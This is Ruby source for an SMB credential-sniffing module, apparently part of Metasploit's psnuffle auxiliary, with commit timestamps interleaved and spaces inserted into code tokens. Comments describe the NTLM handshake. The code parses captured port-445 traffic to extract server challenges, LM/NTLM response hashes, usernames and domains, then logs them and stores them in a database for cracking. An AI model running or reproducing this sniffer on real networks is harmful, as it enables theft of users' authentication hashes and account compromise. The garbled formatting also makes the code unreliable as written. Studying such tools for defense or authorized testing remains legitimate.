2011-07-27 18:06:28 +00:00
# Psnuffle password sniffer add-on class for smb
# part of psnuffle sniffer auxiliary module
#
# When db is available reports go into db
#
#Memo :
2012-05-08 19:38:42 +00:00
#FOR SMBV1
2013-09-30 18:47:53 +00:00
# Authentification without extended security set
#1) client -> server : smb_negotiate (0x72) : smb.flags2.extended_sec = 0
#2) server -> client : smb_negotiate (0x72) : smb.flags2.extended_sec = 0 and contains server challenge (aka encryption key) and wordcount = 17
#3) client -> server : smb_setup_andx (0x73) : contains lm/ntlm hashes and wordcount = 13 (not 0)
#4) server -> client : smb_setup_andx (0x73) : if status = success then authentification ok
# Authentification with extended security set
#1) client -> server : smb_negotiate (0x72) : smb.flags2.extended_sec = 1
#2) server -> client : smb_negotiate (0x72) : smb.flags2.extended_sec = 1
#3) client -> server : smb_setup_andx (0x73) : contains an ntlm_type1 message
#4) server -> client : smb_setup_andx (0x73) : contains an ntlm_type2 message with the server challenge
#5) client -> server : smb_setup_andx (0x73) : contains an ntlm_type3 message with the lm/ntlm hashes
#6) server -> client : smb_setup_andx (0x73) : if status = success then authentification = ok
2012-05-08 19:38:42 +00:00
#FOR SMBV2
2013-09-30 18:47:53 +00:00
#SMBv2 is pretty similar. However, extended security is always set and it is using a newer set of smb negociate and session_setup command for requets/response
2011-07-27 18:06:28 +00:00
class SnifferSMB < BaseProtocolParser
2013-09-30 18:47:53 +00:00
def register_sigs
self . sigs = {
:smb1_negotiate = > / \ xffSMB \ x72 /n ,
:smb1_setupandx = > / \ xffSMB \ x73 /n ,
#:smb2_negotiate => /\xFESMB\x40\x00(.){6}\x00\x00/n,
:smb2_setupandx = > / \ xFESMB \ x40 \ x00(.){6} \ x01 \ x00 /n
}
end
def parse ( pkt )
# We want to return immediatly if we do not have a packet which is handled by us
return unless pkt . is_tcp?
return if ( pkt . tcp_sport != 445 and pkt . tcp_dport != 445 )
s = find_session ( ( pkt . tcp_sport == 445 ) ? get_session_src ( pkt ) : get_session_dst ( pkt ) )
self . sigs . each_key do | k |
# There is only one pattern per run to test
matched = nil
matches = nil
if ( pkt . payload =~ self . sigs [ k ] )
matched = k
matches = $1
end
case matched
when :smb1_negotiate
payload = pkt . payload . dup
wordcount = payload [ 36 , 1 ] . unpack ( " C " ) [ 0 ]
#negotiate response
if wordcount == 17
flags2 = payload [ 14 , 2 ] . unpack ( " v " ) [ 0 ]
#the server challenge is here
if flags2 & 0x800 == 0
s [ :challenge ] = payload [ 73 , 8 ] . unpack ( " H* " ) [ 0 ]
s [ :last ] = :smb1_negotiate
end
end
when :smb1_setupandx
s [ :smb_version ] = " SMBv1 "
parse_sessionsetup ( pkt , s )
when :smb2_setupandx
s [ :smb_version ] = " SMBv2 "
parse_sessionsetup ( pkt , s )
when nil
# No matches, no saved state
else
sessions [ s [ :session ] ] . merge! ( { k = > matches } )
end # end case matched
end # end of each_key
end # end of parse
#ntlmv1, ntlmv2 or ntlm2_session
def detect_ntlm_ver ( lmhash , ntlmhash )
return " NTLMv2 " if ntlmhash . length > 48
if lmhash . length == 48 and ntlmhash . length == 48
if lmhash != " 00 " * 24 and lmhash [ 16 , 32 ] == " 00 " * 16
return " NTLM2_SESSION "
else
return " NTLMv1 "
end
else
raise RuntimeError , " Unknow hash type "
end
end
def parse_sessionsetup ( pkt , s )
payload = pkt . payload . dup
ntlmpayload = payload [ / NTLMSSP \ x00.* /m ]
if ntlmpayload
ntlmmessagetype = ntlmpayload [ 8 , 4 ] . unpack ( " V " ) [ 0 ]
case ntlmmessagetype
when 2 # challenge
s [ :challenge ] = ntlmpayload [ 24 , 8 ] . unpack ( " H* " ) [ 0 ]
s [ :last ] = :ntlm_type2
when 3 # auth
if s [ :last ] == :ntlm_type2
lmlength = ntlmpayload [ 12 , 2 ] . unpack ( " v " ) [ 0 ]
lmoffset = ntlmpayload [ 16 , 2 ] . unpack ( " v " ) [ 0 ]
ntlmlength = ntlmpayload [ 20 , 2 ] . unpack ( " v " ) [ 0 ]
ntlmoffset = ntlmpayload [ 24 , 2 ] . unpack ( " v " ) [ 0 ]
domainlength = ntlmpayload [ 28 , 2 ] . unpack ( " v " ) [ 0 ]
domainoffset = ntlmpayload [ 32 , 2 ] . unpack ( " v " ) [ 0 ]
usrlength = ntlmpayload [ 36 , 2 ] . unpack ( " v " ) [ 0 ]
usroffset = ntlmpayload [ 40 , 2 ] . unpack ( " v " ) [ 0 ]
s [ :lmhash ] = ntlmpayload [ lmoffset , lmlength ] . unpack ( " H* " ) [ 0 ] || ''
s [ :ntlmhash ] = ntlmpayload [ ntlmoffset , ntlmlength ] . unpack ( " H* " ) [ 0 ] || ''
s [ :domain ] = ntlmpayload [ domainoffset , domainlength ] . gsub ( " \x00 " , " " ) || ''
s [ :user ] = ntlmpayload [ usroffset , usrlength ] . gsub ( " \x00 " , " " ) || ''
secbloblength = payload [ 51 , 2 ] . unpack ( " v " ) [ 0 ]
names = ( payload [ 63 .. - 1 ] [ secbloblength .. - 1 ] || '' ) . split ( " \x00 \x00 " ) . map { | x | x . gsub ( / \ x00 / , '' ) }
s [ :peer_os ] = names [ 0 ] || ''
s [ :peer_lm ] = names [ 1 ] || ''
s [ :last ] = :ntlm_type3
end
end
else
wordcount = payload [ 36 , 1 ] . unpack ( " C " ) [ 0 ]
#authentification without smb extended security (smbmount, msf server capture)
if wordcount == 13 and s [ :last ] == :smb1_negotiate and s [ :smb_version ] == " SMBv1 "
lmlength = payload [ 51 , 2 ] . unpack ( " v " ) [ 0 ]
ntlmlength = payload [ 53 , 2 ] . unpack ( " v " ) [ 0 ]
s [ :lmhash ] = payload [ 65 , lmlength ] . unpack ( " H* " ) [ 0 ]
s [ :ntlmhash ] = payload [ 65 + lmlength , ntlmlength ] . unpack ( " H* " ) [ 0 ]
names = payload [ Range . new ( 65 + lmlength + ntlmlength , - 1 ) ] . split ( " \x00 \x00 " ) . map { | x | x . gsub ( / \ x00 / , '' ) }
s [ :user ] = names [ 0 ]
s [ :domain ] = names [ 1 ]
s [ :peer_os ] = names [ 2 ]
s [ :peer_lm ] = names [ 3 ]
s [ :last ] = :smb_no_ntlm
else
#answer from server
if s [ :last ] == :ntlm_type3 or s [ :last ] == :smb_no_ntlm
#do not output anonymous/guest logging
unless s [ :user ] == '' or s [ :ntlmhash ] == '' or s [ :ntlmhash ] =~ / ^(00)*$ /m
#set lmhash to a default value if not provided
s [ :lmhash ] = " 00 " * 24 if s [ :lmhash ] == '' or s [ :lmhash ] =~ / ^(00)*$ /m
s [ :lmhash ] = " 00 " * 24 if s [ :lmhash ] == s [ :ntlmhash ]
smb_status = payload [ 9 , 4 ] . unpack ( " V " ) [ 0 ]
if smb_status == 0 # success
ntlm_ver = detect_ntlm_ver ( s [ :lmhash ] , s [ :ntlmhash ] )
logmessage =
" #{ ntlm_ver } Response Captured in #{ s [ :smb_version ] } session : #{ s [ :session ] } \n " +
" USER: #{ s [ :user ] } DOMAIN: #{ s [ :domain ] } OS: #{ s [ :peer_os ] } LM: #{ s [ :peer_lm ] } \n " +
" SERVER CHALLENGE: #{ s [ :challenge ] } " +
" \n LMHASH: #{ s [ :lmhash ] } " +
" \n NTHASH: #{ s [ :ntlmhash ] } \n "
print_status ( logmessage )
src_ip = s [ :client_host ]
dst_ip = s [ :host ]
# know this is ugly , last code added :-/
smb_db_type_hash = case ntlm_ver
when " NTLMv1 " then " smb_netv1_hash "
when " NTLM2_SESSION " then " smb_netv1_hash "
when " NTLMv2 " then " smb_netv2_hash "
end
# DB reporting
report_auth_info (
:host = > dst_ip ,
:port = > 445 ,
:sname = > 'smb' ,
:user = > s [ :user ] ,
:pass = > s [ :domain ] + " : " + s [ :lmhash ] + " : " + s [ :ntlmhash ] + " : " + s [ :challenge ] ,
:type = > smb_db_type_hash ,
:proof = > " DOMAIN= #{ s [ :domain ] } OS= #{ s [ :peer_os ] } " ,
:active = > true
)
report_note (
:host = > src_ip ,
:type = > " smb_peer_os " ,
:data = > s [ :peer_os ]
) if ( s [ :peer_os ] and s [ :peer_os ] . strip . length > 0 )
report_note (
:host = > src_ip ,
:type = > " smb_peer_lm " ,
:data = > s [ :peer_lm ]
) if ( s [ :peer_lm ] and s [ :peer_lm ] . strip . length > 0 )
report_note (
:host = > src_ip ,
:type = > " smb_domain " ,
:data = > s [ :domain ]
) if ( s [ :domain ] and s [ :domain ] . strip . length > 0 )
end
end
end
s [ :last ] = nil
sessions . delete ( s [ :session ] )
end
end
end
2011-07-27 18:06:28 +00:00
end